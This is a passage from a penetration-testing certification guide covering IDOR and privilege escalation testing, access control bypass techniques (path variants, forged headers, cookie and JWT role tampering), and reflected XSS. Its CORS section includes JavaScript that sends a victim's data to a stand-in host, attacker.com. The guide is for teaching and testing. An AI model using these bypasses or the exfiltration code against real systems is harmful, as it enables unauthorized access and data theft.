&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Burp Suite Intruder — enumerate ID ranges:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  1. In Burp, send a request with an ID parameter to Intruder
&lt;/h1&gt;
&lt;h1&gt;
  
  
  2. Mark the ID value as the payload position
&lt;/h1&gt;
&lt;h1&gt;
  
  
  3. Set a number payload from 1 to 10000
&lt;/h1&gt;
&lt;h1&gt;
  
  
  4. Look for responses with different sizes or status codes
&lt;/h1&gt;
&lt;h1&gt;
  
  
  5. Different size = different data = potential IDOR
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Burp Suite Autorize extension:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Install from BApp Store
&lt;/h1&gt;
&lt;h1&gt;
  
  
  1. Log in as User A → configure Autorize with User B's session cookie
&lt;/h1&gt;
&lt;h1&gt;
  
  
  2. Browse as User A
&lt;/h1&gt;
&lt;h1&gt;
  
  
  3. Autorize automatically replays every request as User B
&lt;/h1&gt;
&lt;h1&gt;
  
  
  4. Flags responses where User B gets the same data as User A (access control violation)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  5. Also flags where User B gets forbidden (correct behavior)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Color coding: Red = IDOR, Green = properly blocked
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;


&lt;h3&gt;
  
  
  6.6.3 Horizontal vs Vertical Privilege Escalation
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Horizontal Privilege Escalation
&lt;/h4&gt;

&lt;p&gt;Horizontal privilege escalation occurs when a user accesses resources belonging to another user at the &lt;strong&gt;same privilege level&lt;/strong&gt;. Alice (a regular user) accesses Bob's (also a regular user) data.&lt;/p&gt;

&lt;p&gt;This is the classic IDOR scenario. Both users have the same permissions in terms of their role, but neither should access the other's data. The authorization check should verify not just "is this user authenticated and has the correct role" but "is this user the owner of this specific resource."&lt;/p&gt;

&lt;p&gt;The authorization question: "Does this user have permission to perform this action on THIS specific resource?"&lt;/p&gt;

&lt;p&gt;IDOR is horizontal privilege escalation. Finding another user's order, medical record, or private message by changing an ID in the URL is horizontal escalation.&lt;/p&gt;
&lt;h4&gt;
  
  
  Vertical Privilege Escalation
&lt;/h4&gt;

&lt;p&gt;Vertical privilege escalation occurs when a user accesses resources or functions that require a &lt;strong&gt;higher privilege level&lt;/strong&gt; than they have. A regular user accessing an administrator function is vertical escalation.&lt;/p&gt;

&lt;p&gt;This is frequently caused by missing function-level authorization checks — the administrator's functions exist at accessible endpoints but do not check whether the requesting user is an administrator.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The hidden button fallacy:&lt;/strong&gt;&lt;br&gt;
The admin panel link is only shown to admins in the navigation menu. But the admin endpoints (&lt;code&gt;/admin/users&lt;/code&gt;, &lt;code&gt;/admin/config&lt;/code&gt;, &lt;code&gt;/api/admin/delete&lt;/code&gt;) exist and are accessible to anyone who knows the URL or finds them through enumeration. The application enforces authorization only at the UI level, not at the server level.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Discovering hidden admin endpoints:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Directory brute force targeting admin paths:
&lt;/h1&gt;

&lt;p&gt;gobuster dir -u &lt;a href="https://target.com" rel="noopener noreferrer"&gt;https://target.com&lt;/a&gt; -w /usr/share/seclists/Discovery/Web-Content/common.txt \&lt;br&gt;
  -t 50 -x php,html,aspx,jsp,json&lt;/p&gt;
&lt;h1&gt;
  
  
  Targeted admin wordlist:
&lt;/h1&gt;

&lt;p&gt;gobuster dir -u &lt;a href="https://target.com" rel="noopener noreferrer"&gt;https://target.com&lt;/a&gt; -w /usr/share/seclists/Discovery/Web-Content/dirsearch.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  Look for common admin paths:
&lt;/h1&gt;

&lt;p&gt;/admin&lt;br&gt;
/admin/users&lt;br&gt;
/admin/dashboard&lt;br&gt;
/management&lt;br&gt;
/manager&lt;br&gt;
/api/admin&lt;br&gt;
/api/v1/admin&lt;br&gt;
/internal&lt;br&gt;
/_admin&lt;br&gt;
/panel&lt;br&gt;
/cp (control panel)&lt;br&gt;
/wp-admin (WordPress)&lt;br&gt;
/administrator (Joomla)&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Testing the discovered endpoints:&lt;/strong&gt;&lt;br&gt;
For each discovered endpoint, test access with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;No authentication (logged out)&lt;/li&gt;
&lt;li&gt;Regular user authentication&lt;/li&gt;
&lt;li&gt;Premium user authentication (if applicable)&lt;/li&gt;
&lt;li&gt;Admin authentication (if you have credentials)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Any endpoint that a regular user should not access but does is vertical privilege escalation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Parameter-based privilege escalation:&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Modifying role parameters in requests:
&lt;/h1&gt;

&lt;p&gt;POST /api/profile/update&lt;br&gt;
{"name": "Alice", "email": "&lt;a href="mailto:alice@example.com"&gt;alice@example.com&lt;/a&gt;", "role": "admin"}&lt;/p&gt;
&lt;h1&gt;
  
  
  URL parameter role override:
&lt;/h1&gt;

&lt;p&gt;GET /dashboard?admin=true&lt;br&gt;
GET /api/user?privilege=superadmin&lt;/p&gt;
&lt;h1&gt;
  
  
  Hidden form field manipulation:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Find in HTML source:
&lt;/h1&gt;


&lt;h1&gt;
  
  
  Change to:
&lt;/h1&gt;


&lt;h1&gt;
  
  
  (or intercept in Burp and modify)
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;


&lt;h3&gt;
  
  
  6.6.4 Access Control Bypass Techniques
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Technique 1 — HTTP Method Switching
&lt;/h4&gt;

&lt;p&gt;An authorization check might be implemented only for specific HTTP methods. The endpoint might block &lt;code&gt;GET /admin/users&lt;/code&gt; for regular users but not check &lt;code&gt;POST /admin/users&lt;/code&gt; or &lt;code&gt;PUT /admin/users&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  In Burp Repeater, test each HTTP method against every sensitive endpoint:
&lt;/h1&gt;

&lt;p&gt;GET    /admin/users → 403 Forbidden&lt;br&gt;
POST   /admin/users → 200 OK (vulnerability!)&lt;br&gt;
PUT    /admin/users → 403 Forbidden&lt;br&gt;
DELETE /admin/users → 200 OK (vulnerability!)&lt;br&gt;
PATCH  /admin/users → 403 Forbidden&lt;br&gt;
HEAD   /admin/users → 200 OK (headers match a 200 response = data is there)&lt;br&gt;
OPTIONS /admin/users → 200 OK (reveals allowed methods)&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Technique 2 — Path Traversal in Access Control
&lt;/h4&gt;

&lt;p&gt;Some authorization systems check the exact URL path. Variants of the path that resolve to the same resource may bypass the check:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Original blocked:
&lt;/h1&gt;

&lt;p&gt;GET /admin/users → 403&lt;/p&gt;
&lt;h1&gt;
  
  
  Path variant bypasses:
&lt;/h1&gt;

&lt;p&gt;GET /ADMIN/users&lt;br&gt;
GET /admin/users/&lt;br&gt;
GET /admin//users&lt;br&gt;
GET /admin/./users&lt;br&gt;
GET /%61dmin/users  (URL encoded 'a')&lt;br&gt;
GET /admin%2fusers  (encoded slash)&lt;br&gt;
GET //admin/users&lt;/p&gt;
&lt;h1&gt;
  
  
  Rewrite rules: some frameworks treat these identically at the backend
&lt;/h1&gt;

&lt;p&gt;GET /admin;param/users   (path parameter injection)&lt;br&gt;
GET /admin/users?param&lt;br&gt;
GET /admin/.;/users&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Technique 3 — X-Forwarded Headers for IP Bypass
&lt;/h4&gt;

&lt;p&gt;Applications that restrict admin access to specific IP addresses often check the &lt;code&gt;X-Forwarded-For&lt;/code&gt; header — which is trivially forgeable by clients.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Application blocks admin for non-internal IPs
&lt;/h1&gt;
&lt;h1&gt;
  
  
  But trusts X-Forwarded-For:
&lt;/h1&gt;

&lt;p&gt;GET /admin/users HTTP/1.1&lt;br&gt;
Host: target.com&lt;br&gt;
X-Forwarded-For: 127.0.0.1&lt;br&gt;
X-Forwarded-Host: localhost&lt;br&gt;
X-Real-IP: 127.0.0.1&lt;br&gt;
X-Originating-IP: 127.0.0.1&lt;/p&gt;
&lt;h1&gt;
  
  
  Or try internal IP ranges:
&lt;/h1&gt;

&lt;p&gt;X-Forwarded-For: 10.0.0.1&lt;br&gt;
X-Forwarded-For: 192.168.1.1&lt;br&gt;
X-Forwarded-For: 172.16.0.1&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Technique 4 — Referrer Header Bypass
&lt;/h4&gt;

&lt;p&gt;Some applications check the &lt;code&gt;Referer&lt;/code&gt; header to ensure requests come from within the application — an access control by origin. This is trivially bypassable by adding the expected Referer:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Application only allows access to /admin if Referer is /admin/login:
&lt;/h1&gt;

&lt;p&gt;GET /admin/dashboard HTTP/1.1&lt;br&gt;
Host: target.com&lt;br&gt;
Referer: &lt;a href="https://target.com/admin/login" rel="noopener noreferrer"&gt;https://target.com/admin/login&lt;/a&gt;&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Technique 5 — Cookie/Token Manipulation
&lt;/h4&gt;

&lt;p&gt;Authorization information stored in cookies or JWTs can be manipulated if improperly validated:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  JWT payload manipulation (if signature is not validated):
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Original JWT payload: {"user": "alice", "role": "user"}
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Manipulated: {"user": "alice", "role": "admin"}
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Cookie-based role storage (insecure design):
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Original: role=user
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Manipulated: role=admin
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Base64 encoded role (common insecure pattern):
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Original: dXNlcg== (base64 for "user")
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Decode: user
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Re-encode "admin": YWRtaW4=
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Swap in cookie: role=YWRtaW4=
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Technique 6 — CORS Misconfiguration Exploitation
&lt;/h4&gt;

&lt;p&gt;CORS (Cross-Origin Resource Sharing) misconfigurations allow unauthorized cross-origin access to sensitive API endpoints.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;javascript&lt;br&gt;
// Test if target.com reflects any Origin in CORS headers:&lt;br&gt;
// Send request with custom Origin:&lt;br&gt;
GET /api/sensitive-data HTTP/1.1&lt;br&gt;
Host: target.com&lt;br&gt;
Origin: &lt;a href="https://attacker.com" rel="noopener noreferrer"&gt;https://attacker.com&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;// Response indicating misconfiguration:&lt;br&gt;
Access-Control-Allow-Origin: &lt;a href="https://attacker.com" rel="noopener noreferrer"&gt;https://attacker.com&lt;/a&gt;&lt;br&gt;
Access-Control-Allow-Credentials: true&lt;/p&gt;

&lt;p&gt;// If both are present: create a malicious page that makes authenticated&lt;br&gt;
// cross-origin requests to target.com and reads the responses:&lt;br&gt;
fetch('&lt;a href="https://target.com/api/sensitive-data" rel="noopener noreferrer"&gt;https://target.com/api/sensitive-data&lt;/a&gt;', {&lt;br&gt;
  credentials: 'include'  // sends victim's cookies&lt;br&gt;
}).then(r =&amp;gt; r.json())&lt;br&gt;
  .then(data =&amp;gt; {&lt;br&gt;
    // Exfiltrate data to attacker server&lt;br&gt;
    fetch('&lt;a href="https://attacker.com/capture" rel="noopener noreferrer"&gt;https://attacker.com/capture&lt;/a&gt;', {&lt;br&gt;
      method: 'POST',&lt;br&gt;
      body: JSON.stringify(data)&lt;br&gt;
    });&lt;br&gt;
  });&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;


&lt;h3&gt;
  
  
  6.6.5 The Complete Authorization Testing Methodology
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Before You Start — Build a Privilege Matrix
&lt;/h4&gt;

&lt;p&gt;The most effective way to test authorization is systematically. Before testing, build a matrix of:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Roles in the application (anonymous, user, premium, admin, superadmin)&lt;/li&gt;
&lt;li&gt;Resources and actions (read profile, edit profile, delete profile, view all profiles, etc.)&lt;/li&gt;
&lt;li&gt;Expected access for each role (should have / should not have)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Then test each cell in the matrix: does the application actually enforce what the privilege matrix says should be enforced?&lt;/p&gt;
&lt;h4&gt;
  
  
  The Automated Authorization Testing Workflow with Burp
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Autorize extension&lt;/strong&gt; is the most efficient way to systematically test authorization:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;&lt;br&gt;
Setup:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Install Autorize from Burp BApp Store&lt;/li&gt;
&lt;li&gt;Log in as a high-privileged user (Admin) → capture and save the session headers&lt;/li&gt;
&lt;li&gt;Log in as a lower-privileged user (User) → capture and save these session headers
&lt;/li&gt;
&lt;li&gt;Configure Autorize with the lower-privileged session headers&lt;/li&gt;
&lt;li&gt;Log out and log in as Admin again (or keep Admin session)&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Testing:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Browse the application as Admin — access all functions, all resources&lt;/li&gt;
&lt;li&gt;Autorize automatically replays every request with the User session&lt;/li&gt;
&lt;li&gt;Review Autorize's findings:

&lt;ul&gt;
&lt;li&gt;Red: User got same/similar response as Admin → IDOR or privilege escalation&lt;/li&gt;
&lt;li&gt;Green: User got 403/401 or redirect → Access control working correctly&lt;/li&gt;
&lt;li&gt;Yellow: Inconclusive (different response but unclear if authorization enforced)
&lt;code&gt;&lt;/code&gt;`&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;
  
  
  API-Specific Authorization Testing
&lt;/h4&gt;

&lt;p&gt;Modern applications expose REST or GraphQL APIs that require specific authorization testing approaches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For REST APIs:&lt;/strong&gt;&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Test all discovered endpoints with different credential levels:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  First, enumerate API endpoints from:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  - JS files in browser
&lt;/h1&gt;
&lt;h1&gt;
  
  
  - Burp proxy history
&lt;/h1&gt;
&lt;h1&gt;
  
  
  - API documentation (/swagger, /api-docs, /redoc, /.well-known/)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  - robots.txt, sitemap.xml
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Test each endpoint with:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  1. No token (unauthenticated)
&lt;/h1&gt;

&lt;p&gt;curl -X GET &lt;a href="https://target.com/api/v1/users" rel="noopener noreferrer"&gt;https://target.com/api/v1/users&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  2. Regular user token
&lt;/h1&gt;

&lt;p&gt;curl -X GET &lt;a href="https://target.com/api/v1/users" rel="noopener noreferrer"&gt;https://target.com/api/v1/users&lt;/a&gt; \&lt;br&gt;
  -H "Authorization: Bearer USER_TOKEN"&lt;/p&gt;
&lt;h1&gt;
  
  
  3. Admin token (if available)
&lt;/h1&gt;

&lt;p&gt;curl -X GET &lt;a href="https://target.com/api/v1/users" rel="noopener noreferrer"&gt;https://target.com/api/v1/users&lt;/a&gt; \&lt;br&gt;
  -H "Authorization: Bearer ADMIN_TOKEN"&lt;/p&gt;
&lt;h1&gt;
  
  
  4. Different user's token testing IDOR
&lt;/h1&gt;

&lt;p&gt;curl -X GET &lt;a href="https://target.com/api/v1/users/1043" rel="noopener noreferrer"&gt;https://target.com/api/v1/users/1043&lt;/a&gt; \&lt;br&gt;
  -H "Authorization: Bearer USER_A_TOKEN"&lt;/p&gt;
&lt;h1&gt;
  
  
  If User A can see User B's profile → IDOR
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For GraphQL APIs:&lt;/strong&gt;&lt;br&gt;
GraphQL requires special consideration because all queries go to a single endpoint.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Introspection (reveals all available types and fields):
&lt;/h1&gt;

&lt;p&gt;curl -X POST &lt;a href="https://target.com/graphql" rel="noopener noreferrer"&gt;https://target.com/graphql&lt;/a&gt; \&lt;br&gt;
  -H "Content-Type: application/json" \&lt;br&gt;
  -d '{"query": "{ __schema { types { name fields { name } } } }"}'&lt;/p&gt;
&lt;h1&gt;
  
  
  Test queries that should require admin:
&lt;/h1&gt;

&lt;p&gt;curl -X POST &lt;a href="https://target.com/graphql" rel="noopener noreferrer"&gt;https://target.com/graphql&lt;/a&gt; \&lt;br&gt;
  -H "Authorization: Bearer USER_TOKEN" \&lt;br&gt;
  -H "Content-Type: application/json" \&lt;br&gt;
  -d '{"query": "{ allUsers { id email role passwordHash } }"}'&lt;/p&gt;
&lt;h1&gt;
  
  
  Tools for GraphQL security testing:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  InQL (Burp extension): automated GraphQL schema analysis and attack surface mapping
&lt;/h1&gt;
&lt;h1&gt;
  
  
  GraphQL Cop: &lt;a href="https://github.com/dolevf/graphql-cop" rel="noopener noreferrer"&gt;https://github.com/dolevf/graphql-cop&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Documenting Authorization Findings Effectively
&lt;/h4&gt;

&lt;p&gt;Authorization findings require careful documentation because the business impact depends on what data or functions were accessed, not just whether access control failed abstractly.&lt;/p&gt;

&lt;p&gt;For each finding, document:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The specific endpoint or resource where the finding was identified&lt;/li&gt;
&lt;li&gt;The user role that should not have access&lt;/li&gt;
&lt;li&gt;The exact HTTP request that demonstrated the bypass&lt;/li&gt;
&lt;li&gt;The HTTP response showing the unauthorized data or action&lt;/li&gt;
&lt;li&gt;The specific data or function exposed (be specific — "accessed order ID 88234 belonging to user &lt;a href="mailto:alice@example.com"&gt;alice@example.com&lt;/a&gt;")&lt;/li&gt;
&lt;li&gt;The business impact: what could a malicious actor do with this access?&lt;/li&gt;
&lt;li&gt;The reproduction steps: exact request sequence to demonstrate the finding&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A clear, well-documented authorization finding is one of the most impactful items in a penetration test report because it directly demonstrates business-relevant data exposure with concrete evidence.&lt;/p&gt;



&lt;p&gt;&lt;em&gt;— Sections 6.5 and 6.6 are complete.  —&lt;/em&gt;&lt;/p&gt;


&lt;h1&gt;
  
  
  Module 6 — Sections 6.7, 6.8, 6.9, and 6.10
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;XSS · CSRF · SSRF · Clickjacking · Directory Traversal · Cookie Manipulation&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;


&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
6.7 Understanding Cross-Site Scripting (XSS) Vulnerabilities

&lt;ul&gt;
&lt;li&gt;6.7.1 Overview — What XSS Really Is and Why It Matters&lt;/li&gt;
&lt;li&gt;6.7.2 Reflected XSS Attacks&lt;/li&gt;
&lt;li&gt;6.7.3 Practice — Reflected XSS Attacks&lt;/li&gt;
&lt;li&gt;6.7.4 Stored XSS Attacks&lt;/li&gt;
&lt;li&gt;6.7.5 Practice — Stored XSS Attacks&lt;/li&gt;
&lt;li&gt;6.7.6 XSS Evasion Techniques&lt;/li&gt;
&lt;li&gt;6.7.7 XSS Mitigations&lt;/li&gt;
&lt;li&gt;6.7.8 Lab — Cross-Site Scripting&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
6.8 Understanding CSRF/XSRF and Server-Side Request Forgery

&lt;ul&gt;
&lt;li&gt;6.8.1 Overview — CSRF and SSRF&lt;/li&gt;
&lt;li&gt;6.8.2 Practice — CSRF and SSRF Attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;6.9 Understanding Clickjacking&lt;/li&gt;
&lt;li&gt;
6.10 Exploiting Security Misconfigurations

&lt;ul&gt;
&lt;li&gt;6.10.1 Overview&lt;/li&gt;
&lt;li&gt;6.10.2 Directory Traversal Vulnerabilities&lt;/li&gt;
&lt;li&gt;6.10.3 Practice — Directory Traversal&lt;/li&gt;
&lt;li&gt;6.10.4 Cookie Manipulation Attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;
  
  
  6.7 Understanding Cross-Site Scripting (XSS) Vulnerabilities
&lt;/h2&gt;
&lt;h3&gt;
  
  
  6.7.1 Overview — What XSS Really Is and Why It Matters
&lt;/h3&gt;
&lt;h4&gt;
  
  
  The Precise Definition and the Mindset Shift
&lt;/h4&gt;

&lt;p&gt;Cross-Site Scripting, universally abbreviated XSS (to avoid confusion with CSS — Cascading Style Sheets), is a class of vulnerabilities where an attacker injects malicious client-side code — almost always JavaScript — into a web page that is subsequently viewed by other users. The browser executing that page has no way to distinguish between the application's own legitimate JavaScript and the attacker's injected script. Both run with the same origin, the same trust level, and the same access to the page's DOM, cookies, and data.&lt;/p&gt;

&lt;p&gt;Here is the mindset shift that separates average practitioners from skilled ones: &lt;strong&gt;XSS is not primarily an "alert box" vulnerability&lt;/strong&gt;. The alert box — &lt;code&gt;&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt; — is the proof-of-concept that confirms JavaScript executes. But the actual attack is anything you can do with JavaScript running in the victim's browser context. That context is extremely powerful:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read every cookie accessible to the domain (including session tokens, unless HttpOnly)&lt;/li&gt;
&lt;li&gt;Make authenticated HTTP requests on behalf of the user — with their session, to their bank, to their SaaS platform, to their corporate intranet&lt;/li&gt;
&lt;li&gt;Read the entire DOM — extracting form values, CSRF tokens, displayed sensitive data&lt;/li&gt;
&lt;li&gt;Modify the DOM — changing what the user sees, injecting fake login forms, replacing download links with malicious ones&lt;/li&gt;
&lt;li&gt;Access the browser's Web Storage (localStorage, sessionStorage) — which often contains JWT tokens&lt;/li&gt;
&lt;li&gt;Use the browser as a pivot to attack internal networks via SSRF-through-XSS&lt;/li&gt;
&lt;li&gt;Redirect the user to attacker-controlled pages&lt;/li&gt;
&lt;li&gt;Capture keystrokes in real time&lt;/li&gt;
&lt;li&gt;Take screenshots of the current page using browser APIs&lt;/li&gt;
&lt;li&gt;Use the browser as a botnet node for DDoS or for making requests to other sites&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The impact of XSS ranges from low (reflected XSS on a low-traffic page with no sensitive functionality) to critical (stored XSS in an admin panel that deploys the same payload to every administrator who views it, combined with CSRF token extraction to perform administrative actions). Context determines severity. One of the most important professional skills is recognizing and communicating which context makes an XSS finding critical rather than medium.&lt;/p&gt;
&lt;h4&gt;
  
  
  The Three Types of XSS — Not Three Variations, Three Different Architectures
&lt;/h4&gt;

&lt;p&gt;The three XSS types differ fundamentally in &lt;strong&gt;where the payload is stored and how it reaches the victim's browser&lt;/strong&gt;. This distinction determines persistence, attack reach, detection difficulty, and exploitation technique.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reflected XSS:&lt;/strong&gt; The payload is embedded in the request (typically a URL parameter) and reflected directly in the response. Not stored anywhere server-side. Requires the attacker to deliver the crafted URL to the victim. Affects one victim at a time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Stored XSS (Persistent XSS):&lt;/strong&gt; The payload is stored on the server (database, filesystem, cache) and served to every user who accesses the affected page. No URL delivery needed. Affects every user who views the infected content.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DOM-based XSS:&lt;/strong&gt; The vulnerability exists entirely in client-side JavaScript. The server never sees the malicious payload — the JavaScript on the page reads from an attacker-controlled source (URL fragment, &lt;code&gt;document.location&lt;/code&gt;, &lt;code&gt;document.referrer&lt;/code&gt;, &lt;code&gt;window.name&lt;/code&gt;) and writes it to a dangerous DOM sink without sanitization. The server's response may be perfectly safe — the vulnerability lives in the browser.&lt;/p&gt;

&lt;p&gt;Understanding DOM XSS requires understanding DOM sources and sinks, which we will cover in detail.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.7.2 Reflected XSS Attacks
&lt;/h3&gt;
&lt;h4&gt;
  
  
  How Reflected XSS Works — The Mechanism
&lt;/h4&gt;

&lt;p&gt;Reflected XSS is the most basic and most commonly encountered XSS type. The attack flow is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The application receives user-controlled input (from a URL parameter, a form field, a search query)&lt;/li&gt;
&lt;li&gt;The application embeds this input directly into the HTML response without encoding it&lt;/li&gt;
&lt;li&gt;The victim's browser parses the HTML, encounters the injected script, and executes it&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The "reflection" is literal — the server reflects the input back in the output. The server is acting as a delivery mechanism for the attacker's payload, using the victim's own browser as the execution environment.&lt;/p&gt;

&lt;p&gt;A vulnerable search endpoint might look like this in PHP:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`php&lt;br&gt;
&amp;lt;?php&lt;br&gt;
// VULNERABLE: user input reflected directly into HTML&lt;br&gt;
$search = $_GET['q'];&lt;br&gt;
echo "&amp;lt;h2&amp;gt;Results for: $search&amp;lt;/h2&amp;gt;";&lt;br&gt;
?&amp;gt;&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;When a user searches for "laptop", the HTML output is:&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;html&lt;/p&gt;

&lt;h2&gt;Results for: laptop&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;When an attacker crafts the URL &lt;code&gt;https://target.com/search?q=&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;&lt;/code&gt;, the output becomes:&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;html&lt;/p&gt;

&lt;h2&gt;Results for: alert(1)&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;The browser parses the HTML, reaches the &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag, and executes the JavaScript.&lt;/p&gt;
&lt;h4&gt;
  
  
  The Delivery Problem — Phishing as the Attack Vector
&lt;/h4&gt;

&lt;p&gt;Reflected XSS requires the attacker to deliver the crafted URL to the victim. This is commonly done through:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Phishing emails with embedded links&lt;/li&gt;
&lt;li&gt;Social media messages&lt;/li&gt;
&lt;li&gt;QR codes&lt;/li&gt;
&lt;li&gt;Other websites with redirect capabilities (open redirect chains)&lt;/li&gt;
&lt;li&gt;Short URL services that obscure the actual URL&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The trust factor is critical: because the URL begins with the victim's trusted domain (&lt;code&gt;https://victim-bank.com/search?q=...&lt;/code&gt;), the victim may not notice anything suspicious. They trust the domain, click the link, and their own browser executes the attacker's code under the bank's origin.&lt;/p&gt;
&lt;h4&gt;
  
  
  Context Matters Enormously — Where is the Reflection?
&lt;/h4&gt;

&lt;p&gt;The context where your input is reflected determines which characters are dangerous and what payload syntax is required. This is the most important technical concept in XSS:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HTML body context:&lt;/strong&gt;&lt;br&gt;
Input is reflected between HTML tags.&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;html&lt;/p&gt;

&lt;p&gt;Search results for: [INPUT]&lt;/p&gt;

